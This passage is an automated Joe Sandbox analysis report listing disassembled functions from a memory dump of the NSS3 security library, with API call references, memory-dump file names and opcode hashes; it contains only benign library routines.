Part of subcall function 6CB8BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB8BC39
Part of subcall function 6CB8BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CB8BC58
Part of subcall function 6CB8BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CB8BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CBF40CD

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 391cbbab220c7226979588cc8bcf0f9a2cd2205fe7471086ec79f4593f2885e9
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7831B272E0038197EB009F649D81BBE3368EF9464CF144225ED199B742FB71E9598692

Function 6CB92E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CB82D1A), ref: 6CB92E7E

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

PR_Now.NSS3 ref: 6CB92EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CB92EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CB82D1A), ref: 6CB92F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CB82D1A), ref: 6CB92F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB92F81

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: bbfa0ea5de8b7865c948a1e1878c545dbab1e8915f2acc91c77731985ee141e3
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: D9310471D011C087EF10C655DC8CFBE7265EB82318F644579D41A97AD0EB31984ACA53

Function 6CB80E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CB80A2C), ref: 6CB80E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CB80A2C), ref: 6CB80E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CB80A2C), ref: 6CB80E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CB80A2C), ref: 6CB80E90
free.MOZGLUE(00000000), ref: 6CB80EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CB80A2C), ref: 6CB80ED9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: ec3a0544f4feb9f69d43436c58bebc14d5a17be56e82e71343c8ae2e95425544
Instruction ID: e314bbfe77c58a2847eb7582e90d13c538dc6e6451eba2516e47e666acfa6a3d
Opcode Fuzzy Hash: ec3a0544f4feb9f69d43436c58bebc14d5a17be56e82e71343c8ae2e95425544
Instruction Fuzzy Hash: C6212972E036D55BEB10496ABC85B6B72AEDBC16CBF194035DC1C63A12EB60D81482B3

Function 6CB8AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CB8AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB8AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CCA9500), ref: 6CB8AF23

Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBDF0C8
Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBDF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8AF37

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 3e950d6828fae84670b0e817833393d2366119fa2562596fe01668a55673300e
Instruction ID: adc8f2bf9252608d6579a9693d53f44fed01e1b91e5680e597f0cef6c761b912
Opcode Fuzzy Hash: 3e950d6828fae84670b0e817833393d2366119fa2562596fe01668a55673300e
Instruction Fuzzy Hash: CA2126B290A240ABEB108F189C01B9A7BA4EF85728F244319FC149B7C1F731D5058BA7

Function 6CC0EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0EE85
realloc.MOZGLUE(AF18F6A2,?), ref: 6CC0EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC0EEC5

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

htonl.WSOCK32(?), ref: 6CC0EEE3
htonl.WSOCK32(00000000,?), ref: 6CC0EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC0EF01

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 8bbd8a4ce09bc5150a45abe84e20908510f010fd4e91bbc7922c8a9a32f492ae
Instruction ID: b5fc451d87083522d3bb30fe0ab85a5933401141682c75a71100007d12a86ea6
Opcode Fuzzy Hash: 8bbd8a4ce09bc5150a45abe84e20908510f010fd4e91bbc7922c8a9a32f492ae
Instruction Fuzzy Hash: F721E571A002189FDF109F28DC8079AB7A4EF49758F15816DED599B641F731EC14CBE2

Function 6CBD5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CBD5D71), ref: 6CBD5F0A
TlsGetValue.KERNEL32 ref: 6CBD5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CBD5F2F
PR_Unlock.NSS3(890008E8), ref: 6CBD5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CBD5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CBD5F7D

Part of subcall function 6CBD5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CBD5F82,8B4274C0), ref: 6CBD5248
Part of subcall function 6CBD5220: EnterCriticalSection.KERNEL32(0F6CCA0D,?,6CBD5F82,8B4274C0), ref: 6CBD525C
Part of subcall function 6CBD5220: PR_SetError.NSS3(00000000,00000000), ref: 6CBD528E
Part of subcall function 6CBD5220: PR_Unlock.NSS3(0F6CC9F1), ref: 6CBD5299
Part of subcall function 6CBD5220: free.MOZGLUE(00000000), ref: 6CBD52A9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: ec8b06738f31153b6dd1738a79037a4c50e13c5620b7a3e31c3a3711e7d0b93b
Instruction ID: 2b293395d3a6f0c2ab1217c7051b8a9d1a45bcedb8e8f0240b1c47988d3cd4e9
Opcode Fuzzy Hash: ec8b06738f31153b6dd1738a79037a4c50e13c5620b7a3e31c3a3711e7d0b93b
Instruction Fuzzy Hash: 0821B4F1D006449FDB109F68EC41AEEB7B4EF19308F554029E906A7701FB31A958CBD2

Function 6CB87F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB87F68

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CB87F7B

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB87FA7

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCA919C,?), ref: 6CB87FBB

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB87FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CCA915C,00000014), ref: 6CB87FFE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 78247bb09cdec4e46938416cdd9e1c5bdb945e8fa23bb40b8883a53ce5d81986
Instruction ID: f8866e2ed09d548d4ab6cbfbf53f46ccc20d6aca7390626eed35224e1337b588
Opcode Fuzzy Hash: 78247bb09cdec4e46938416cdd9e1c5bdb945e8fa23bb40b8883a53ce5d81986
Instruction Fuzzy Hash: 3C115771E012C416EA109B269C44FBF76ACDF4468CF04062DFC59D2B41F760A508C2A2

Function 6CB8BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CC0DC29,?), ref: 6CB8BE64

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CC0DC29,?), ref: 6CB8BE78

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CC0DC29,?), ref: 6CB8BE96

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CC0DC29,?), ref: 6CB8BEBB

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CC0DC29,?), ref: 6CB8BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CC0DC29,?), ref: 6CB8BEF3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: fac8207b0d95e5654d13919099ccc51f74c82f12b5878e8d160621b0888a58bf
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 9311B771E012455FEB008B759D41FAE3BA8EF45299F180428ED09EB781EB31D909C7B1

Function 6CC13C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC13D3F

Part of subcall function 6CB8BA90: PORT_NewArena_Util.NSS3(00000800,6CC13CAF,?), ref: 6CB8BABF
Part of subcall function 6CB8BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CC13CAF,?), ref: 6CB8BAD5
Part of subcall function 6CB8BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CC13CAF,?), ref: 6CB8BB08
Part of subcall function 6CB8BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC13CAF,?), ref: 6CB8BB1A
Part of subcall function 6CB8BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CC13CAF,?), ref: 6CB8BB3B

PR_EnterMonitor.NSS3(?), ref: 6CC13CCB

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

PR_EnterMonitor.NSS3(?), ref: 6CC13CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC13CF8
PR_ExitMonitor.NSS3(?), ref: 6CC13D15
PR_ExitMonitor.NSS3(?), ref: 6CC13D2E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 36bb6b9a776dd1ae243ad01866e188a33e1d4ff996dfc90f3b291d76b7e17dec
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 7B1108B5A246006FE7206A66EC4179BB6E9AB1120CF548534E41A8BF20F632E919D652

Function 6CBDFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBDFE08

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBDFE1D

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBDFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBDFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBDFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CBDFE6F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 62e96a39fc758a50b88349a526494aebc05baad70c9c1e27fd684620a0d7d240
Instruction ID: 99ff291e0233d22e7fc5397a58ee921cb21fc0697d0c7a29d925081504d9497d
Opcode Fuzzy Hash: 62e96a39fc758a50b88349a526494aebc05baad70c9c1e27fd684620a0d7d240
Instruction Fuzzy Hash: E3110CB6A042866BEF004F95EC40A5F7398EF58699F258034E91C87B12E731F914C792

Function 6CC8FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CC8FD9E

Part of subcall function 6CC49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB71A48), ref: 6CC49BB3
Part of subcall function 6CC49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB71A48), ref: 6CC49BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CC8FDB9

Part of subcall function 6CB6A900: TlsGetValue.KERNEL32(00000000,?,6CCE14E4,?,6CB04DD9), ref: 6CB6A90F
Part of subcall function 6CB6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB6A94F

PR_Unlock.NSS3 ref: 6CC8FDD4
PR_Lock.NSS3 ref: 6CC8FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CC8FE0D
PR_Unlock.NSS3 ref: 6CC8FE23

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 14ceb89715c8cf17f0ca76fa9b087f2e4f44ae28a8b4b8e4949e277b2bfa2034
Instruction ID: b0c91234dbb65c9cfbcbd21efdc7ac1180f709b4ded797c5a12faf61f590313c
